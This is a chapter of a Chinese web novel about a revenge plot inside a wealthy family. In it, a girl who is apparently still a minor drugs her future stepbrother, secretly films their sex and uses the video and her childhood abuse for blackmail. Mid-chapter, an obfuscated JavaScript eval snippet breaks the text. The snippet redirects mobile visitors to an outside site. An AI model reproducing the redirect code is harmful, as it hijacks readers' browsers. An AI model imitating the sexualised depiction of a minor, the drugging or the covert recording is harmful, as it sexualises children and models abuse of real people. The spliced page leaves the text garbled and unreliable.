5. 第 5 章
作品:《过度反应》 杨露避着陆诚,很少在家里待着。
陆诚是真的讨厌她,又故意摔坏了她新买的咖啡杯,梁琴也不敢说什么,只能把碎渣扫干净,别让杨露回来看见。
“老李,你忙什么呢?”
“小夏刚才说想荡秋千,我给她做一个,正是玩的年纪,小夏太安静太乖了,也不跟同学出去放松放松,不像我邻居家的孩子,出考场就野飞了,玩到昨天半夜才回家,喝得醉醺醺的。”
梁琴笑道,“这大热天的,怎么想起玩秋千了。”
“女孩儿嘛……”
李叔家里有两个孙子,没少自己做玩具,对他来说树上绑个秋千很简单,找一块不用的木板,再加一根结实的绳子就行了。
苏夏没在班级微里,也没加学校里任何一个同学的微信,更不会去参加他们的聚会,她一直待在陆家,陆诚喜欢黏着她,有什么好东西都往她房间里送。
陆诚睡午觉的时间,苏夏绕到后院草坪,树荫底下没那么晒。
李叔踩着据木板,抽空说,“小夏再等一会儿,绑上绳子就能玩。”
“好,”苏夏在旁边帮他递工具,“您的手受伤了?”
“提这个我就来气!我兄弟家好几条狗,我孙子见了一次,喜欢得不得了,我就要了一条回来,但那狗太凶,第一天就把我咬了。”
“被狗咬了得去医院打狂犬疫苗。”
“打了,”李叔叹气,“小夏,你养过狗吗?”
苏夏回忆起还没搬进新房子之前的那几年,那时候还住在家属院子里,“养过一条,刚开始也特别凶,我也被咬过,后来就听话了。”
“怎么养的?快给李叔传授点经验,我孙子护得紧,不让打也不让骂,我都快气死了,”李叔绑好麻绳,拍了拍木板,“来,坐上来试试。”
苏夏笑着坐到秋千上,脚尖点着地蹬了一下,慢慢荡起来。
“也没什么,狗通人性,其实很聪明,先给它吃一顿,别吃太饱,然后饿它几天,煮碗肉让它闻个味儿,等它完全臣服于你的时候再把肉给它,狗和人一样,越惯越得寸进尺,不能饿太久,也不能吃太饱,吊着性子磨它一阵,再给它点甜头,只要它心里有欲望,它就会上钩,上钩了,主动权自然是你的。”
李叔也没听明白,憨厚地挠挠头,“读书就是不一样,说话一套一套的。”
“谢谢李叔,您去忙吧。”
陆镇安最近在忙一个大项目,难得能回家吃顿晚饭。
陆诚说要给苏夏做蛋糕,下午就待在厨房,也不让梁琴帮忙,失败了再重新来。
他其实很会玩魔方,茶几上摆了好几个,有粽子形状的,有镜面的,杨露随手拿着拧了几下,怎么都复原不了,又趁他不注意小心翼翼放回原来的位置,去给陆镇安泡茶。
陆镇安忙工作,疏忽了对苏夏的关心,该问的还是要问,“夏夏,高考成绩出来还有几天吧,你估分了吗?如果觉得你的分数很难上个好大学,我提前联系国外的朋友,送你出国,国外条件好,出去见见世面也不错。”
苏夏低着头,“我没对答案,可能考得不太好。”
杨露本来就没有抱太大希望,“该学习的时候瞎玩,现在抬不起头了?你看你哥哥,从不让人操心。”
“哥哥聪明,我比不上,”苏夏也不反驳。
“都长一个脑袋,怎么就你笨?”
“好了,别家的女儿也没咱家的漂亮,夏夏刚出院,”陆镇安不在意地笑了笑,陆家人脉广,出国留学是很简单的事,“夏夏你去看看陆川,他如果烧得厉害就叫医生来家里,多大的人了心里一点数都没有,生病也不知道吃药。”
“嗯,”苏夏起身去小楼。
陆家人不会随便进出陆川的卧室,他没有锁门的习惯,开了盏台灯,苏夏第一次见到这个男人睡着的样子,他长相像他的母亲。
手心刚碰到他额头就被攥着手腕拽到床上。
陆川眼睛闭着,长腿压着她,埋首在她颈窝,嗓音沙哑模糊,“哪里来的狐狸精,鬼鬼祟祟想干什么?”
他还在发烧,苏夏像是抱了个火炉。
“给你量体温啊,难受吗?”苏夏笑了笑,“我关空调了,一会儿再把窗户给你打开,外面有点热,你忍忍。”
“太闷了,开着。”
苏夏把遥控器丢到一边,“我发烧的时候你也是这么对我的。”
陆川松开她,“你走吧。”
“哦,那我走了,”苏夏爬下床,找到飞到窗户旁边的拖鞋穿上。
经过床沿的时候,手腕一紧,又重新跌到床上,脸朝下,砸在他胸口。
苏夏疼得鼻腔发酸,没好气地给了他一拳,“鼻子都要撞歪了,你赔。”
“嗯,赔你一巴掌,”陆川不轻不重在她屁股上拍了一下,随后熟门熟路地往衣服里摸。
他体温高,连手掌都是烫的。
苏夏不能待太久,“手拿开,我怕你被榨干了明早直接进抢救室。”
“呵,”男人从鼻腔里发出一声冷哼,对她的挑衅很不屑。
苏夏推不开他,就作罢了,安静躺在他怀里。
“陆叔叔要送我出国。”
“你多有能耐,国内几千所大学都容不下你,”他平时嘴里就没有半句好话,现在病着不舒服,脾气更差。
苏夏也不在意,慢悠悠地说,“我要是出国念书,近几年可能就不回来了,陆哥哥正值壮年需求旺盛,我可舍不得让你独守空房。”
“你就是欠。”
“别,别了,我怕你硬件跟不上,我演技再好也没用,多尴尬。”
陆川被她气笑了,“你还是走吧。”
“晚饭还没好,你先量体温,”苏夏把温度计递给他。
沉默几分钟后,她忽然问了句,“他们要在老爷子回国前先领证,你什么想法?”
陆川什么想法都没有,“无所谓,我跟他各过各的互不干涉,只要法律允许,他娶十个八个我都零意见。”
苏夏心想,这样的父子关系也是蛮和谐。
“等他们领完证我可就真成你的妹妹了,”轻飘飘的语调,勾着尾音上扬,“陆哥哥?”
陆川根本不在乎。
陆镇安从来没有考虑过他的感受,他也不会顾忌陆镇安,老爷子顾不上他,至于陆家其他人,更没有资格管他感情上的事。
“38度6,吃完饭得吃点药了,是去主楼吃,还是给你送过来?”
“你送过来。”
“要送也是梁姨送,我送算什么,兄妹情深?”
“那你现在这样算什么?”
她还躺在他怀里。
“算……知恩图报?毕竟我生病的时候你也照顾我了,现在我照顾你是应该的。”
陆川淡淡道,“那就感恩地给我送过来。”
苏夏也很好说话,“好吧,看在你病重娇弱的份上。”
一只手顺着腰线摸上来,警告的意味很明显。
“谁娇弱?”
“你啊,”她换了个姿势,很认真地看着他,手指轻轻从他眉眼间划过,“你看你,眼睛红红的,脸也红红的,声音这么哑,一点力气都没有,你不娇弱谁娇弱。”
她说完就跳下床,快速跑出卧室,连房门都帮他关上了。
主楼餐厅里,饭菜碗筷都已经摆好了,苏夏坐到自己的位置,“哥哥还在发烧,说不过来吃。”
梁琴连忙说,“每样菜都留了,我待会儿给小川送到房间。”
陆镇安还是关心他的,“叫医生来一趟。”
“好的,我现在打电话。”
饭后,杨露熬了润喉的梨汁,也是梁琴给陆川送过去,苏夏从头到尾都没有插嘴。
陆镇安在看新闻,杨露按照他的习惯泡了茶,两人对视会心一笑,陆镇安牵着她的手吻了一下,被陆诚看到了,他也学着去握苏夏的手。
苏夏看着手背上的口水印,心里有种反胃的恶心感。
陆镇安不经意间看过去,陆诚在给苏夏演示怎么玩魔方,苏夏虽然不感兴趣,但还是认真地看着陆诚表演,给他鼓掌,他们以前也是这样,苏夏从小就很乖,给她一包零食,她就能陪陆诚玩一下午。
“阿诚,夏夏过段时间就要去很远的地方上学了,你别总是缠着她,让她好好休息。”
陆诚紧张地看着苏夏,“还会回来吗?”
苏夏点头,“会的。”
“多久回来一次?”
“我不知道,可能要很长时间,也可能很快就能回来。”
陆诚听完闷闷不乐地上了楼,他所有情绪都很直白,不高兴就是不高兴。
摄影师把精修后的婚纱照发给杨露,杨露想要选几张做大尺寸,挂在卧室,陆镇安有些心不在焉,每一张都说好。
杨露佯装生气,“又在应付我。”
“好好好,再重新看一遍,”陆镇安哄着她,“你还是跟年轻的时候一样漂亮,每一张都做大尺寸,换着挂。”
“一百多张,家里哪有地方放啊。”
“我专门腾出一个房间给你放这些行吧。”
杨露‘哼’了一声,很娇俏。
她是真的很期待她和陆镇安的婚礼。
准备婚礼其实很麻烦,虽然都是二婚,但陆家有条件大办,要提前很久选婚纱,等婚纱做好了才能拍婚纱照,要确定宾客名单,提前寄发请帖,还要一遍遍确定婚礼流程的细节,礼堂怎么布置也要她操心,整体什么风格,选什么花,灯光的明暗等等问题,为了让自己有最好的状态穿上婚纱,她还要定期去美容店做保养,练瑜伽保持体态。
可即便过程这样繁琐,她也没有抱怨过。
有时候苏夏也会想,如果杨露和陆镇安在彼此结婚前就认识相爱,说不定也能长久,那样就不会有她了。
陆诚似乎已经接受杨露这个‘坏女人’总是住在家里的事实,因为他知道只有她在这里,他才能见到苏夏,她走了,苏夏也会走。
陆川病好后很少在家,每天走得早,回来得晚。
这天下了雨,助理来家里搬走他的拍摄器材,梁姨看见就多嘴问了一句,“小川啊,怎么把摄像机都搬走了?”
她以为陆川要搬出去住。
“我要去外地拍公益广告,半个月左右,地方偏僻,信号差,可能联系不上。”
苏夏在客厅看电影,回头刚好对上男人的视线。
只对视了一秒,她就能确定陆川这些话是说给她听的。
“去外地?哪天走啊?”
“明天。”
梁琴不懂他工作上的事,“出发之前我帮你收拾几件衣服,偏僻的地方买什么都不方便。”
陆川说好。
机器很重,也很贵,两个助理小心翼翼抬上车,进屋跟陆川打了声招呼才走。
下雨地湿,小楼地板被踩脏了,梁琴过去打扫,客厅就只剩陆川和苏夏两个人,她在看一部新上映的悬疑片,剧情进行到最精彩刺激的部分。
“老爷子后天回来,你明天走,真孝顺啊,婚礼前还能赶回来吗?”
陆川扯松领带坐到她旁边,淡声道,“不能最好。”
苏夏笑笑,“我也这么想,眼不见为净,说不定根本办不成。”
电影里播放着男女主生死离别的场面,梁姨把小楼打扫干净后,回主楼处理食材,晚上要用的鱼得提前腌制,不然会腥,陆诚口味极其挑剔,稍微有点不如他的意,他就能摔盘子。
陆诚在睡午觉,客厅没有其他人,苏夏看着电影,悄悄把手蜷进男人的手掌心,指尖有一下没一下的轻挠他,他不为所动,只是在她有下一步企图之前收拢手指,裹住她柔软的手,不轻不重地捏了一下,像是警告,又像抚慰,有种隐蔽的快感。
“走之前陪我去逛街吧。”
“不去。”
“我想买个相机,随便拍拍,但我不懂这个,不太会选,陆导是专业的,帮我挑一个呗。”
“我房间里有,自己去拿。”
陆导有一个巨大的储物间,放满了价值不菲的拍摄器材和各大摄影大赛的奖杯。
“你那些都太重了,我想要一个轻巧的,”苏夏用手比划了一下,“手掌大小最好,方便携带,像素不用太高,我就随便拍拍记录生活,保存一些视频以后还能回看,而且你不在家我会很无聊,就找点事情做打发时间。”
陆川也知道她平时不爱出门,同学之前也基本不联系,“跟你那些‘朋友’飙车没意思?”
意有所指。
“我最近很乖的,你不高兴,我就跟肖齐保持距离。”
苏夏刚要起身就被陆川捏住下巴面朝着他,他虽然没什么表情,但眼里阴森森的。
“我什么时候提过肖齐这两个字?你活这么大就他一个朋友?”
“小心眼!算了不要你了,你走吧,我自己逛。”
她换了张沙发,专心看电影,陆川也没再说话。
电影结束前十分钟,陆川拿着车钥匙出门。
苏夏把电影看完,上楼换了件衣服,梁琴问她回不回来吃晚饭,她说回来。
陆川的车停在路口,车窗降下一半,他在抽烟,虽然平时没什么耐心,但等人的时候很少催。
苏夏知道他会等她,陆川也知道她会出来。
苏夏坐副驾驶关上,以为陆川没开车是要等抽完烟再走,就拿出玩手机玩游戏。
“安全带。”
“哦,”苏夏只是嘴上应了一声,但眼睛还看着手机屏幕,手也没动,“游戏开了,我没空,你帮我系吧。”
她清楚陆川烦这一套,又继续解释自己真的不是在耍他,“坑队友要被问候家里人,杨女士会在他们嘴里反复去世好几次,她毕竟是要办喜事的人,我良心不安。”
陆川把烟咬在嘴里,倾身靠过去。
下一秒少女温软的唇便亲在他脸上,那半根烟也被她拿走了,吻落在唇角,一点一点往里深入。
陆川也不客气,把人收拾了一顿将才启动车子。
显然陆导不太会陪女生逛街。
进了商场就直奔主题,在某个品牌摄像器材专卖店挑了一款适合女生用的相机,苏夏没有体会到任何逛街的乐趣。
其实她也不是来逛街的。
店员拿样机演示了一遍,苏夏决定就要这一款,陆川挑中的,怎么都不会差。
结账的时候,陆川习惯性拿自己的卡。
“不花你的,”苏夏比他动作还快,把银行卡还给他,重新从包里拿出一张递给店员,“麻烦刷这张卡。”
高考完陆镇安给她的,她不知道里面有多少钱,也没花过,陆镇安对她大方,买相机肯定是够的。
陆川看着那张被退回来的银行卡,似笑非笑,“不花我的钱?”
花他的钱拿他的东西,挺像她是出来卖的。
这些话苏夏当然不会真的说出口。
“你和陆叔叔是一家人,花你的还是花他的不都一样嘛,”苏夏颇有兴趣地摆弄着新到手的相机,“我用他的钱买相机,你请我吃饭。”
陆川被气得没了脾气,“我缺这点钱?”
“不,不是,陆导缺的是大钱,”苏夏镜头对着沙发上的男人,他随便坐着都是一张海报,“我可以拍你吗?”
陆川朝她伸手。
苏夏很茫然,“什么意思?”
“先给钱,”陆川说,“拍一张五千,签名翻倍。”
苏夏怎么都没想到他会当众勒索,“不要脸,你怎么不去街上抢啊?我又不是你粉丝。”
陆川面不改色,“不是粉丝才要收费,谁知道你背地里拿我的照片干什么。”
结完账,店员把银行卡递给苏夏,苏夏顺手拍在陆川面前,一副阔太太折辱失足少男的模样,“这些够买你不穿衣服的照片了,晚上给我等着。”
“谁等着?”
“嘻嘻,我等着。”
车停在地下车库,前面有辆车堵住了出口,司机是新手,开得很小心,陆川也没催,等对方把车倒出来。
苏夏抱着相机研究说明书,“这么小的东西还挺复杂。”
陆川打转方向盘,“傻瓜机,够你用了,每个按键有什么功能说明书上都写得很清楚,如果看不会,等我回来再教你。”
他话说到一半,秦淮打电话过来,“陆哥陆哥,到哪儿了啊,都等着你呢。”
“我不去了,你们自己喝。”
“寿星本人不来有什么意思!赶紧的!别逼我们找上门。”
陆川应付几句后挂断电话,坐在副驾驶的苏夏一眨不眨地盯着他看,情绪很复杂,意外之中又有些抱歉。
“你今天过生日啊……”
“不是今天。”
苏夏松了口气,“那你朋友怎么说要给你庆祝。”
“下周我不在江城,他吵着要提前喝两杯,”陆川简单道,“先送你回家。”
苏夏点了点头,没再问什么。
她对相机比较感兴趣,一路上拍了很多照片,有窗外的风景,有开车的陆川。
大部分都是陆川,她没有拍到脸,很多都是糊的,
到陆家别墅门外,陆川不进屋,等苏夏下车后就直接掉头往外开。
陆镇安和杨露都不在家,他们有应酬,说是哪家公司的千金订婚,陆镇安多年的老朋友来安城,难得见一面,晚上应该不回来。
雨还在下,空气很潮湿,天气预报说凌晨两点后会有红色预警大暴雨。
陆川离开后,苏夏又自己打车出去了一趟。
梁姨照顾陆诚很辛苦,吃完晚饭时间早,她就回自己家了,她儿媳妇怀孕,儿子在外地工作不能常回来。
肖齐叫苏夏上游戏,她玩了几局,大概十一点的时候,撑了把雨伞去小楼,树上的桃子明显长大了,但摸着还是很硬。
断断续续下了一天的雨,晚上的风很凉爽,陆川的卧室是极简北欧风格,过分干净整洁,床头柜上甚至没有一本乱放的书。
他口中的傻瓜机并不‘傻瓜’,苏夏晚饭前鼓捣了好久才弄明白,卧室面积大,每样东西都有自己固定的位置。
苏夏要找一个合适的角度,不能太近,他会发现。
阳台有一盆绿植,树叶茂盛,不知道是什么树,苏夏试着把相机卡在树杈中间,拿胶带固定好就不会掉。
窗帘拉上,留一条缝隙,镜头对着床的方向,开一盏台灯亮度就足够了。
苏夏又下楼烧水,煮好一杯醒酒茶后,往里面加了点东西。
把杯子放在卧室床头柜上,最后再检查一遍相机。
被褥和床单都换过新的,但她还是能从洗衣液的味道里分辨出哪一缕是属于陆川的气息,他身上总是有种很干净的味道。
秦淮还是在老地方组的局。
男人聚会无非就是那些消遣方式,他们几个好就好在没人有那种癖好,最多就是玩玩牌喝喝酒。
“贺昭怎么没来?”
“他在家陪媳妇儿呢,说晚上超过八点就不跟我们这些人出来鬼混。”
“别总瞎说,小心他知道了又跟你急。”
安萝很小就被贺昭的母亲收养,一直住在贺家,在别人嘴里就成了贺家的童养媳。
秦淮只是会在贺昭面前逗逗他,在外面还是有分寸的,倒不是贺昭爱面子,是因为安萝脸皮薄,有些话传来传去就传到了她耳朵里,她不喜欢听这些。
“秦老身体怎么样了?”
秦淮说起这件事就觉得又好气又好笑,“根本没病,上次是故意装病骗我回家结婚,怕哪天有女人挺着大肚子找上门,催我尽快定下来。”
“纪舒什么想法?”
纪舒就是被逼婚的另一个人,她和秦淮青梅竹马,互相看不上,分分合合数十次,最后还是逃不过双方父母。
秦淮根本不想提起这个女人,“你看她像是想结婚的样子吗?”
“你看起来更不想结婚,”陆川说出了事实。
秦淮给他倒酒,拿起杯子碰了一下,仰头喝尽,“没劲,我们俩就算结了迟早也得离。你们家老爷子不催你?”
年纪到了就得结婚成家,事业稳定了就应该开始考虑生孩子的事。
老一套的观念根深蒂固,一天两天改变不了。
秦淮是秦家独子,陆川的处境也不会比他好到哪里去,等老爷子回国,肯定少不了在他耳边唠叨。
陆川神色自若,“我看起来很想结婚吗?”
“谁想结婚谁就是有毛病,”秦淮跟他碰杯,“你不是早就不拍广告了么?”
“题材挺有意义的,拍摄周期也不长。”
“什么题材能请动你?”
“未成年遭遇性侵,这种事其实很多,尤其是偏远落后的地方。”
“我去年还听说过,说是哪个村里的女孩怀了养父的孩子,跳楼自杀了。”
“……”
酒局在暴雨前散场,陆川叫了个代驾。
平时他喝了酒一般不回家,直接住酒店,今晚代驾司机开车前询问他地址的时候,他却鬼使神差地想回陆家。
鞋柜上有双凉鞋,陆川对于苏夏不打招呼就往小楼跑这件事已经习惯了,密码她知道,她也不怕他,从一开始就不怕他,明知道他讨厌外人进入自己的领域,偏偏就要挑战他的底线。
果不其然,卧室亮着一盏台灯,床上被子鼓起了一团。
她喜欢侧躺着睡,黑色长发铺在枕头上,安静睡着时眉眼温婉的模样倒是有那么点良家少女的样子。
桌上放了杯醒酒茶,陆川看了看玻璃杯,又看了看苏夏,竟不自觉地笑了出来。
两人之间有种无形的默契,就像下午他虽然嘴上拒绝陪她去买相机先走了,她也知道看完电影出门车就停在路边。
这种默契不会让陆川心烦。
陆川喝完醒酒茶,拿着睡衣进了浴室,十五分钟后出来。
一声惊雷在夜色里破空炸开,白光闪现,雨势骤然变大,床上的人被吓得缩成一团。
陆川走到床边,把毛巾挂在肩上,俯身揉揉她的脸,“怕打雷?”
“不怕,”苏夏闭着眼伸懒腰,顺势抱住他,“是被你吓的,你怎么一点声音都没有?”
是雨声盖住了他的洗澡声响。
苏夏倒打一耙的本事陆川领教过,他喝了酒,懒得跟她扯,“回自己房间睡。”
她拒绝,“不要,你的床睡起来更舒服。”
又一声惊雷,一道白光将夜空里的幕布撕开裂缝。
杯子空了,苏夏自然地移开视线,等雷声停了才开口问,“你们吃蛋糕了吗?”
“谁吃那玩意儿,”陆川伸手掀开薄被,“往里面一点。”
他突然停住,目光从苏夏脖子往下,再往上,彻底扫荡了一圈,眼底暗色浓稠,表面却不动声色,手指勾着她腰上那条丝带,轻轻一抽就散开了。
“生日礼物?”
“你说是就是。”
她存了蛊惑的心思,眼角笑意浅浅,烟视媚行。
“那么,现在要拆礼物吗,陆哥哥?”
话音未落,下颚就被抬高,阴影笼罩下来,陆川吮着她的绯唇轻咬了一下,听到她低低的声音后哑声低笑,舌尖探入她齿间。
雨势越来越来大,电闪雷鸣。
石子路被雨水冲刷干净,两旁桃树的树叶和果子落了一地。
天色大亮,陆川睡得深沉,眉目温和。
苏夏穿上穿上衣服,拿着相机回主楼,在楼梯口和梁琴面对面碰上,梁琴来给陆诚准备早饭,陆诚已经起了,在洗漱间刷牙。
“夏夏,你怎么也起这么早。”
“昨晚睡得早,屋里太闷,去外面散步了。”
“还在下雨,可别着凉,”梁琴无意间看见苏夏膝盖那处青青紫紫的,她皮肤白,很明显,“摔跤了?”
苏夏低着头,有些窘迫,“嗯,路太滑,我玩手机没看路不小心踩空了,回房间抹点药膏。”
梁琴知道这个年纪的孩子都爱面子,不喜欢听人啰嗦,就没多说。
她拎着一串钥匙自言自语,“咦,这是小川的车钥匙吧,他昨天晚上是不是回来了?”
“我不知道,梁姨你忙,我再去睡个回笼觉,”苏夏说完就上楼。
她浑身都没什么力气,到房间就反锁房门,确认相机正常工作后勉强撑着去洗了个澡,明明很累,倒在床上的时候却毫无睡意。
陆诚在外面敲门,苏夏没出声,没过一会儿就听见梁琴和陆诚说话的声音,陆诚被带下楼,耳边才清净下来。
苏夏再睁开眼,是被手机震动声吵醒的。
雨停了,苏夏等系统自动挂断后关了机,翻身继续睡。
梁琴在小楼帮陆川收拾行李,苏夏没接电话,陆川准备去她房间,却看见陆诚坐在房间门口玩魔方。
“声音小一点,夏夏很累,还在睡觉,不要吵到她。”
陆川大脑里的记忆虽然很乱,但也知道昨天弄到很晚,醒来身边空荡荡的,乱糟糟的房间提醒他那不是梦。
“等她醒了打电话告诉我,我有事情要跟她说。”
陆诚好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486536|170075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
奇,“什么事?”
“小事。”
“好吧,等夏夏起床了,我就给你打电话。”
“嗯。”
陆川赶时间,他从来都不是会因为私事耽误工作的人。
开车去山区需要六个小时,这还是在一切顺利的情况下,路上一直没有接到电话,进山后信号就时有时无,陆川忙起来,就暂时忘了苏夏。
老爷子回国,陆镇安和杨露带着陆诚去机场迎接。
家里陆陆续续来了很多人,都是知道老爷子回国过来探望的,苏夏没见过他们,安安静静地待着也免不了被拉进话题中心。
飞机晚点,老爷子晚一个小时到家,他一身深色中山装,威严肃穆,鹰眸锐利,即使被扶着进屋,气场也十分凌冽。
晚辈们都整齐站着,恭恭敬敬跟老人问好。
老爷子一个个问话,学习怎么样,工作是否顺利。
“小川不在?”
陆镇安说,“他在外地拍一个公益广告,过几天就回来了。”
老爷子本来念着陆川6月20号的生日,回来一起吃顿饭,却不想他刚好在前一天去了外地。
陆诚把苏夏拉到老爷子面前,“爷爷,这是夏夏!”
老爷子似是这才注意到苏夏,但也只是随意看了一眼,随后看向陆诚,十分宠溺,“我知道,上次在视频电话里见过。”
陆诚用力点头,“对的。”
苏夏礼貌问好,“陆爷爷好。”
“你好,”老爷子大手一挥,“别都站着了,开饭吧。”
梁琴为了这顿饭早上六点就在准备,几乎忙活了一天,大人们坐主桌,不能喝酒的小一辈坐一桌,老爷子最疼陆诚,身边给他留了一个位置,陆诚本来想让苏夏和他坐一起,但没有多余的位置了。
旁边都是陆家亲属,杨露的身份显得有些尴尬,只能叫声‘董事长’。
饭桌气氛热闹,新添了曾孙,老爷子高兴,伸手不打笑脸人,这会儿自然给杨露留了脸面,但没喝她敬的酒。
陆镇安替杨露解围,“爸身体不好,最近在吃药,心意到了就行。”
杨露就算心里再委屈,也不会在这种场合表现出半分,“是我疏忽了,董事长路上辛苦,您多吃点菜,这锅乌鸡汤炖了六个小时。”
苏夏吃自己的,不在乎其他人等着看好戏的眼神。
拍摄地在很偏远的山区,要爬到山上手机才有信号,第一天拍摄结束后,无论是工作人员还是演员都往山上爬。
小助理刚新婚,也要给家里报平安,他在下山的路上遇到陆川,还以为自己看错了。
陆导以前可是能在山里待半个月,不通网也不开手机只专注工作的人!
“陆导,路不好,我帮您照着灯?”
“不用,你先回去,”陆川走了两步又叫住他,问道,“哪里信号好?”
助理指着山上说,“再往上走二十分钟吧,山头有块大石头,网络还行,能视频。”
陆川不需要视频,能接个电话或者收条信息就可以了。
天黑了,路上没灯,夏天山上虫鸟多,陆陆续续有人下山,等陆川爬到那块大石头的时候,周围就只剩两三个人。
手机有信号。
工作上的事如果联系不到他都会直接找助理,朋友们也都知道他进村失联,生日也提前聚过,这几天没人会找他。
昨天走得匆忙,路上也忘了打电话。
老爷子今天回国,家里应该很热闹。
陆川打开微信,找到苏夏的头像,点进去,聊天界面最新一条消息还是昨天他走之前发给她的。
她就算没看手机,陆诚也会告诉她。
陆川拨了通电话过去。
没接。
今天晚上她肯定在陆家,不接电话的原因就是不想接。
黏的时候一天二十四小时都在骚扰他,冷的时候不接电话不回微信像是要断干净。
陆川心里烦躁,有点想抽烟。
前天晚上喝太多,酒后失控,大概是弄疼她了。
她是在等着他哄?
小辈这一桌吃饱就散了,各自玩自己的,只有苏夏还坐在桌上,大人那一桌还在敬酒,不知道谁讲了件趣事,惹得老爷子哈哈大笑。
杨露也在旁边陪笑,脸都快笑僵了。
“爸,大哥和嫂子的婚事,您表个态吧,”说话的人是陆镇安最小的弟弟,同父异母,平时关系也一般。
老爷子脸上的笑意淡去,目光从杨露身上掠过,沉思了许久。
手机震动,苏夏看了一眼,没接,调成静音。
“夏夏,”陆诚嫌人多太吵,“去外面玩,我给你推秋千。”
“好啊,”苏夏笑着答应,从衣服里拿出储存卡给陆诚,“你把这个东西插到电视上,里面有个动画片,打开看完了,我就陪你玩。”
“什么动画片?”
“嗯……特别有意思的那种。”
“好,我去放出来,”陆诚接过储存卡,去客厅开电视机,他会弄这些。
杨露泡好茶,双手递给老爷子,陆镇安说了点什么缓和气氛,但依旧很尴尬。
老爷子开口道,“按道理说,我是不同意的,但是……”
忽然一阵奇怪的声音从客厅传来。
在谈正事,陆诚弄出一些乱七八糟的声音打断老爷子的话,陆镇安神色不悦,起身往客厅走,正要说陆诚两句,余光瞥到电视机上的画面,蓦地变了脸。
陆诚不懂,看得很认真,他还没有认出视频里的人是苏夏和陆川。
“阿诚,你在看什么,还不快关掉!”
陆诚被吓了一跳,陆镇安挡住在前面。他不高兴地大吼,让陆镇安让开。
陆镇安双目猩红,拎起椅子砸到电视屏幕上,那些暧昧的声音暂停,空气陷入死一般的寂静。
餐桌上的陆家人神色各异,苏夏微微低眸,掩着嘴轻笑。
“哎呀,人这么多,有点害羞呢。”
陆诚注意不到周围气氛的变化,电视坏了,他开始大哭。
“混账东西,你闭嘴!”陆镇安大声呵斥。
陆诚闹得更厉害,陆镇安气得给了他一巴掌,他先天缺陷,是老爷子最心疼的孙子,从小溺爱,养了一身脾气,被一巴掌打得发疯砸东西,在客厅撒泼尖叫。
老爷子被气得血压升高,有人跑去拿药,有人倒水,有人打电话叫120,客厅被陆诚砸得乱七八糟,混乱不堪。
而始作俑者苏夏还坐在餐桌上,闲适散漫地看着一屋混乱,眼角蓄着漫不经心的笑,仿佛觉得还不够。
“苏夏!”陆镇安指着苏夏的手颤抖不止,扶着桌子才勉强站稳,“我自问对你不差,花钱让你读最好的学校,无条件供你吃喝!你背着我都干了些什么!陆川是我亲儿子!也就是你以后的哥哥!你做出那样的事,还录下来,到底有没有廉耻心!”
苏夏不在乎地轻笑,“陆叔叔啊,您怎么会指望我能懂礼义廉耻这一套呢?我小时候被您宠爱的大儿子侵犯的时候,您可不是这么教我的。”
闻言,陆镇安整个人僵住,紧握的拳头青筋暴起。
苏夏看着还躺在地板上撒泼的陆诚,“已经忘了吗?”
陆镇安和杨露是大学时期的恋人,陆家不同意,分手后各自嫁娶,苏家明因工作需要常年在外地,有了苏夏之后也很少有假期回来,某次陆镇安带陆诚去一个退休老医生家里,恰好遇到杨露,慢慢地两个人又有了联系。
苏夏那时候还小,总有一个叔叔来家里,每次都待一个多小时,会给她带玩具和零食,还有一个大哥哥陪她玩。
她能感觉到,妈妈一天比一天开心。
她也是开心的,但是不能告诉别人,尤其是爸爸打电话回来的时候,一句关于那个叔叔的话都不可以说。
陆诚是先天缺陷,生下来智力就有问题。
说他命苦,但生在一个不愁吃穿的大家族,说他命好,但一辈子也就这样了。
外人背地里都叫他傻子,苏夏觉得他很可怜,每次他来家里,都愿意陪他玩。
有一次陆镇安和杨露忘了关门,陆镇安那时候还算年轻,有点特殊癖好,杨露被他哄着也愿意配合,但被陆诚不小心看见了。
陆诚是个很固执的性格,不告诉他为什么就会一直追着问,陆镇安就只能编谎话。
“阿诚别闹,爸爸不是在打阿姨。”
“不是打她,喜欢一个人都会这样。”
“阿姨也不是真哭,是觉得舒服,爸爸在跟阿姨玩游戏,她喜欢得不得了。”
陆诚最喜欢玩游戏,但没人愿意跟他玩。
那一年,他的玩伴只有苏夏。
不久后陆镇安又带陆诚去杨家,他偷偷去阳台趴在窗户往里看,想看看他们是不是在玩游戏。
果然是。
他也想玩。
苏夏在房间睡觉,等杨露和陆镇安听到叫声跑到她房间,已经晚了,苏夏昏迷着被送去医院,在她醒之前,陆诚就被陆镇安送到老爷子身边。
苏夏看着陆诚那张因为撒泼显得有些扭曲的脸,回想不起当年陆镇安是怎么给她洗脑的。
他好像是说,陆诚那么做是因为喜欢她。
“陆叔叔小时后教过我,喜欢一个人就会这样,很正常,我确实是很喜欢陆哥哥啊,做的不对吗?”
“您看您都不记得了,是不是以为我也忘了?”
“但是很遗憾,我没有忘。这是我去医院做的□□检验报告,按身份证上的出生年月算,我还没有成年,就算陆家权势滔天,陆川也要里面待三年,再有才华又怎样,这个污点一辈子都洗不干净,到死都会被钉在耻辱柱上。”
一份检测报告递过来,陆镇安如梦初醒,是他低估了苏夏。
“你想要什么!”
苏夏微微一笑,“陆叔叔这么快就妥协了?您还挺让我失望的。其实,我也没想要什么,只是看你们都过得好,我不太开心。”
陆镇安怒吼,“那你用这张检测报告威胁我,到底想干什么!”
他熟悉的苏夏乖巧懂事,少言寡语,一直很听话,几乎不用操心。
可她却无声无息地给他了致命一击!
“是!当年是我不对,没有教好阿诚,他不懂那些,无意伤害你,补偿我也给了,给你家换了新房子、新车,你爷爷奶奶病重也都是我从国外请的医生,大把大把的钱往里扔,你还要我怎么样?难道要我把自己的儿子送进监狱才满意?”
“那陆叔叔对刚才看到的还满意吗?”苏夏轻轻浅浅地笑,“您最骄傲的小儿子像条狗一样求着我,你看他多喜欢我啊,去了那么偏僻的地方,十分钟前还在给我打电话。”
